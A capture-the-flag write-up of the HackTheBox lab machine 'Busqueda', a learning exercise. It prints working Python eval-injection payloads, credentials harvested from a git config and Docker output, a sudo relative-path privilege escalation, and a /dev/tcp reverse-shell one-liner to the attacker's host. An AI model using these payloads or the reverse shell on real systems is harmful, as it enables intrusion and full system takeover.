HackTheBox "Busqueda"

April 14th, 2023

Info Card
Info Card

Introduction

Busqueda is an easy box released on April 8th, 2023 by kavigihan.

User Own

Nmap scan:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-14 15:10 EDT
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.63 seconds

The box is running a website called Searcher.

Going to the website http://searcher.htb, we get the homepage. The website takes a search engine and a query, then generates a valid query for that website. Looking at the bottom of the page, the website uses Flask and Searchor.

Searchor is a CLI tool for generating search queries. Using the query --help shows this much.

Burp Suite Repeater
Burp Suite Repeater

Looking at the source code, we can see:

main.py
@click.argument("engine")
@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:
            click.echo("opening browser...")
        if copy:
            click.echo("link copied to clipboard")
    except AttributeError:
        print("engine not recognized")

The URL gets created in an eval, and the query parameter is wrapped in single quotes. This eval can be hijacked.

engine=Google&query=hello')#

https://www.google.com/search?q=hello

Commands can be run by using:

engine=Google&query=QUERY', exec('__import__("os").system("ls")') ,'

app.py
templates

This is basically:

eval(f"Engine.Google.search('QUERY', exec('__import__("os").system("ls")') ,'', copy_url=False, open_web=False)")

So the eval uses our exec function as an argument which unintentionally runs it.

whoami
engine=Google&query=QUERY', exec('__import__("os").system("whoami")') ,'

svc
ls /home/svc
engine=Google&query=QUERY', exec('__import__("os").system("ls /home/svc")') ,'

user.txt
cat /home/svc/user.txt
engine=Google&query=QUERY', exec('__import__("os").system("cat /home/svc/user.txt")') ,'

[USER FLAG HERE]
USER OWN
USER OWN

System Own

Checking the app directory:

ls -alh
drwxr-xr-x 4 www-data www-data 4.0K Apr  3 14:32 .
drwxr-xr-x 4 root     root     4.0K Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1.1K Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4.0K Apr 16 16:40 .git
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 templates

Checking the .git directory:

ls .git -alh
drwxr-xr-x 8 www-data www-data 4.0K Apr 16 16:40 .
drwxr-xr-x 4 www-data www-data 4.0K Apr  3 14:32 ..
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1 14:35 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1 14:35 config
-rw-r--r-- 1 www-data www-data   73 Dec  1 14:35 description
-rw-r--r-- 1 www-data www-data   21 Dec  1 14:35 HEAD
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 hooks
-rw-r--r-- 1 root     root      259 Apr  3 15:09 index
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 info
drwxr-xr-x 3 www-data www-data 4.0K Dec  1 14:35 logs
drwxr-xr-x 9 www-data www-data 4.0K Dec  1 14:35 objects
drwxr-xr-x 5 www-data www-data 4.0K Dec  1 14:35 refs

Checking config:

cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:[email protected]/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main

config contains credentials for cody. These credentials also work to login as svc through SSH.

sudo -l reveals:

Matching Defaults entries for svc on busqueda:                                                                                                                                                                                              
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty                                                                                                              
                                                                                                                                                                                                                                            
User svc may run the following commands on busqueda:                                                                                                                                                                                        
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Inside /opt/scripts:

-rwx--x--x 1 root root  586 Dec 24 21:23 check-ports.py                                                                                                                                                                                     
-rwx--x--x 1 root root  857 Dec 24 21:23 full-checkup.sh                                                                                                                                                                                    
-rwx--x--x 1 root root 3.3K Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1.9K Dec 24 21:23 system-checkup.py

Running sudo /usr/bin/python3 /opt/scripts/system-checkup.py *:

Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Output of full-checkup:

[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0   │ app    │ default     │ N/A     │ fork    │ 1645     │ 19m    │ 0    │ online    │ 0%       │ 30.1mb   │ svc      │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘

[+] Done!

MySQL and a new subdomain, gitea.searcher.htb. Adding that to /etc/hosts leads to a Gitea page. The login credentials for cody from before work, but there is nothing of interest.

Output of docker-inspect after checking the config of MySQL:

Documentation for docker inspect formatting

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' mysql_db

{
  "Hostname": "f84a6b33fb5a",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": false,
  "AttachStderr": false,
  "ExposedPorts": {
    "3306/tcp": {},
    "33060/tcp": {}
  },
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": [
    "MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
    "MYSQL_USER=gitea",
    "MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
    "MYSQL_DATABASE=gitea",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "GOSU_VERSION=1.14",
    "MYSQL_MAJOR=8.0",
    "MYSQL_VERSION=8.0.31-1.el8",
    "MYSQL_SHELL_VERSION=8.0.31-1.el8"
  ],
  "Cmd": [
    "mysqld"
  ],
  "Image": "mysql:8",
  "Volumes": {
    "/var/lib/mysql": {}
  },
  "WorkingDir": "",
  "Entrypoint": [
    "docker-entrypoint.sh"
  ],
  "OnBuild": null,
  "Labels": {
    "com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
    "com.docker.compose.container-number": "1",
    "com.docker.compose.oneoff": "False",
    "com.docker.compose.project": "docker",
    "com.docker.compose.project.config_files": "docker-compose.yml",
    "com.docker.compose.project.working_dir": "/root/scripts/docker",
    "com.docker.compose.service": "db",
    "com.docker.compose.version": "1.29.2"
  }
}

The administrator account of Gitea can be logged into with MYSQL_PASSWORD. This gives us the previously inaccessible source code of the scripts in /opt/scripts.

scripts Repository
scripts Repository

The source code of system-checkup.py can help us figure out how to exploit it. In the condition for full-checkup:

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output

def process_action(action):
    ...
        elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

system-checkup.py runs full-checkup.sh, but only grabs the relative file. This means a custom bash script with the name full-checkup.sh can be run in a different directory. Putting a reverse shell in the custom bash script will give us access to root.

/tmp/full-checkup.sh
#!/bin/bash
/bin/bash -l > /dev/tcp/10.10.xx.xx/1234 0<&1 2>&1
cd /tmp
nano full-checkup.sh
[write the code and save here]
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.208] 40362
whoami
root
cat /root/root.txt
[ROOT FLAG HERE]
SYSTEM OWN
SYSTEM OWN

And that's the box!

PWNED
PWNED

Last updated